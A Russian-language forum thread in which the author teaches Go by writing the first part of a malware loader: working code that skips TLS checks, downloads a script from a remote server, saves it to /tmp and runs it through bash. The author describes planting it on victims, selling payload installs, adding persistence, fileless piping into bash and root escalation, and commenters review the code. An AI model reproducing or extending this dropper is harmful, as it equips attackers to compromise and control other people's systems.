• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Изучаем Go. На примере утилит удалённого управления. Часть 1.

dark2strike

Green Team
16.04.2017
43
42
BIT
0
Решил попробовать написать простейшие утилиты на одном из самых быстрых и современных языков программирования. Опережая всякие нападки гуру-хэйтеров замечу, что на Go я пишу впервые и данную задачку взял исключительно для того что бы посмотреть на язык.

Итак, самая простая программка, нужная в хак индустрии, это загрузчик, который можно различными способами внедрить жертве, а затем продать загрузку нужной программки любому нуждающемуся. Но мы постараемся(в следующих частях) так же написать какую-то полезную нагрузку, которую сможем загружать на втором этапе.

Теперь немного об архитектуре. Поскольку заранее не известно что потребуется загружать жертве, приходится придумывать что-то более универсальное. Думаю, что наиболее универсальным будет механизм загрузки bash скрипта, в котором уже можно загружать и запускать любой другой софт или скрипты. Напоминаю, что мы просто тренируемся, а в реальной жизни излишне делать промежуточное звено в виде bash скрипта, проще сразу загружать и запускать бинарный код. Нам же это промежуточное звено позволит подняться одним уровнем абстракции выше и снизить тем самым порог входа и понимания происходящего.

Стандартная структура кода на языке Го выглядит примерно так:
C-подобный:
package main

import (
    "any/packages"
)
    
func main(){
    pass
}

То есть сначала мы объявляем к какому пакету относится наш код. В данном случае это просто main. Затем указываем все модули, которые нужно импортировать для доступа к дополнительным возможностям. А весь исполняемый код следует разместить внутри одной или нескольких функций.

Итак, нам пондобится следующий набор модулей:
C-подобный:
import (
    "fmt"
    "bytes"
    "net/http"
    "io/ioutil"
    "crypto/tls"
    "os/exec"
)

Первая функция будет простым обработчиком ошибок:
C-подобный:
func check(e error){
  if e != nil {
    fmt.Println(e)
  }
}

То есть, когда аргумент функции(переменная с кодом ошибки, переданная в функцию) содержит хоть что-то, вывести это что-то на экран.

Вторая функция будет запускать загруженный скрипт:
Код:
func run_it(script_path string) {
  cmd := exec.Command("/bin/bash", script_path)
  var out bytes.Buffer
  cmd.Stdout = &out
  err := cmd.Run()
  check(err)
  fmt.Printf("Result: %q\n", out.String())
}
На вход принимаем строку пути до скрипта. Собираем команду для запуска из пути до бинарника баша и аргумента в виде пути до скрипта. Указываем куда направлять аутпут выполненной команды и пытаемся запустить каоманду. В конце проверяем ошибку нашей кастомной функцией и печатаем на экран аутпут выполнения команды.

Почти всё готово, осталось написать лишь основную функцию main.
C-подобный:
func main(){
  tr := &http.Transport{
    DisableCompression: false,
    TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
  }
  client := &http.Client{Transport: tr}
  resp, err := client.Get("https://upload.go/run_it.jpg")
  check(err)

  defer resp.Body.Close()
  body, err := ioutil.ReadAll(resp.Body)
  check(err)

  ferr := ioutil.WriteFile("/tmp/dat1", body, 0644)
  check(ferr)

  run_it("/tmp/dat1")
}
Это основная функция, которая запускается сразу после начала исполнения кода. Она не имеет аргументов. По рекомендации из документации для более точного контроля http сессии, TLS-шифрования или компрессии траффика нам нужно использовать транспорт, где мы сообщаем, что хотим игнорировать все ошибки SSL сертификатов(для тестов используется самоподписанный сертификат). Вообще шифрованный вариант протокола HTTP современный стандарт дефакто и нужно уметь с ним работать, даже если ты сам или какой-то админ забыл продлить сертификат для своего домена.
После настройки параметров транспорта создадим клиент на основе этого транспорта и сделаем GET запрос на адрес upload.go(прописал для тестов в /etc/hosts свой локалхост с этим доменом "127.0.0.1 upload.go" и чуть ранее поднял веб-сервер, самый простой способ сделать это питоновским ванлйнером "sudo python3 -m http.server 80" который будет просто отдавать файлы из каталога в котором он запущен).
Проверяем на ошибки, закрываем соединение с веб-сервером и считываем тело ответа веб-сервера в переменную. Затем сохраняем скачанные данные в файл, а в самом конце просто запускем сохранённый скрипт нашей кастомной функцией запуска.

По идее сейчас нам стоит получить максимум информации о системе, в которой мы оказались. В связи с этим первый вопрос к аудитории, какую именно информацию стоило бы собрать в первую очередь?
Я пока придумал лишь такой перечень:
- Внешний IP
- Внутренний IP
- Железо (Проц, память, диски)
- Уровень загруженности системы (Типа забытая богом система или активно используемый сервер)

Так же следует продумать средства автозапуска нашего аплоадера, а так же способ проверки того, что мы уже загрузили необходимый код на систему и новый пока загружать пытаться не стоит. Ещё интересно подумать над панелью управления аплоадерами, ведь их будет много.

На основе ваших комментариев в следующей статье родим скрипт, который будет собирать всю необходимую инфу, а так же загружать и запускать полезную нагрузку.

Разумеется, вместо запуска баш скрипта, можно коротким движением рук модифицировать скрипт для скачивания кода на го, компиляции его и запуска. А можно скачивать и запускать уже скомилированный бинарник. Тут нас ничего не ограничивает.
 
Последнее редактирование модератором:

dark2strike

Green Team
16.04.2017
43
42
BIT
0
для этого ведь на машине должен быть установлен и настроен Го компилятор с нужными либами, верно?
Для того что бы из этого кода собрать динарь, да, разумеется нужен компилятор, который ставится одной простой командой в той же убунте apt install golang
После установки надо перейти в каталог с проектом и набрать там go build source_file
 

dark2strike

Green Team
16.04.2017
43
42
BIT
0
В соседних ветках можно почерпнуть немного вдохновения и идей для продолжения. Например можно запускать скачиваемый скрипт без сохранения на диск, просто перенаправив вывод кода в пайп и на баш ( ... | bash ). Так же можно запускать сканер уязвимостей установленных в системе пакетов с целью эскалировать привилегии на хосте до root.
 

mrOkey

Grey Team
14.11.2017
967
976
BIT
0
Почему вы не пишите сульфе или мне о содержании статьи? Ну это ж детский сад.
- абстракций тут у тебя нет, все вполне конкретно и захардкоженно и это плохо
- зачем загрузчику вывод в консоль системы на которой он запущен?
- как пользователь загрузчика узнаёт что файл загрузился? Где фидбек иными словами
- на крайняк зачем в мэйн запихнуто создание httpclienta? Правильнее написать было бы функцию для вызова его и возврата результата.

в общем это слабо
 

dark2strike

Green Team
16.04.2017
43
42
BIT
0
Почему вы не пишите сульфе или мне о содержании статьи? Ну это ж детский сад.
- абстракций тут у тебя нет, все вполне конкретно и захардкоженно и это плохо
- зачем загрузчику вывод в консоль системы на которой он запущен?
- как пользователь загрузчика узнаёт что файл загрузился? Где фидбек иными словами
- на крайняк зачем в мэйн запихнуто создание httpclienta? Правильнее написать было бы функцию для вызова его и возврата результата.

в общем это слабо
А я и не знал, что кому-то надо что-то ещё писать...

Абстракция это уровень языка Go по сравнению с машинными кодами, или ассемблером, которые расположены на более низком уровне абстракции. Далее мы абстрагируемся от загрузчика и пишем простой скрипт сбора данных на баше(ещё один уровень абстракции от вызовов системы, переходящий на уровень работы с утилитами GNU). То есть мы не пишем сборщик данных о системе на низком уровне С или асма. И я вроде бы пояснил этот момент в статье, сказав, что для простоты и наглядности для начала будем запускать баш(это кстати, по идее будет вторая статья, где я хотел доработать код на Го и показать сборщик данных на баше)

По поводу вывода в консоль, это ведь самое начало, что бы новичёк(а именно на него нацелена статья), без особых впоросов мог увидеть результат и продолжить познание, модифицируя код и тут же наблюдая изменения. Насколько я понимаю, статья и не должна сразу выдать идеальный результат, что бы любой кидди смог положить пентагон. Здесь мы занимаемся исследованиями информационных технологий и экспериментами в песочницах. Если бы я хотел выдать готовый продукт, разумеется он делал бы только то что нужно и только оптимальным способом, но моя цель самообучение, и если делать это в виде статьи, приходится обращать внимание и изучать те моменты, которые бы упустил, делая это просто для себя.

Про фидбэк я пока лишь только думаю. По идее загруженный скрипт должен заливать результаты своей работы на удалённый хост, что и будет сигнализировать о успешности. Так же периодические гет запросы к серверу со скриптом будут свидетельствовать о том, что наш автономный аплоадер оказался на системе и успешно там живёт.

Что касается выноса в функции логических кусков, можно бесконечно дробить код, но я предпочитаю выделять его в функции только когда объём кода превышает разумные пределы или когда мне надо будет использовать его более одного раза. И да, я не программист, вроде писал об этом. Прогинг для меня только хобби и это означает, что у меня нет академического подхода.

Почему нет истерики на тему того, что никак не рассмотрена тема антидетекта и вот этого всего? Опережая этот вопрос скажу, что это тема другой статьи, которая возможно родится после окончания данного цикла, как логичное развитие темы.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!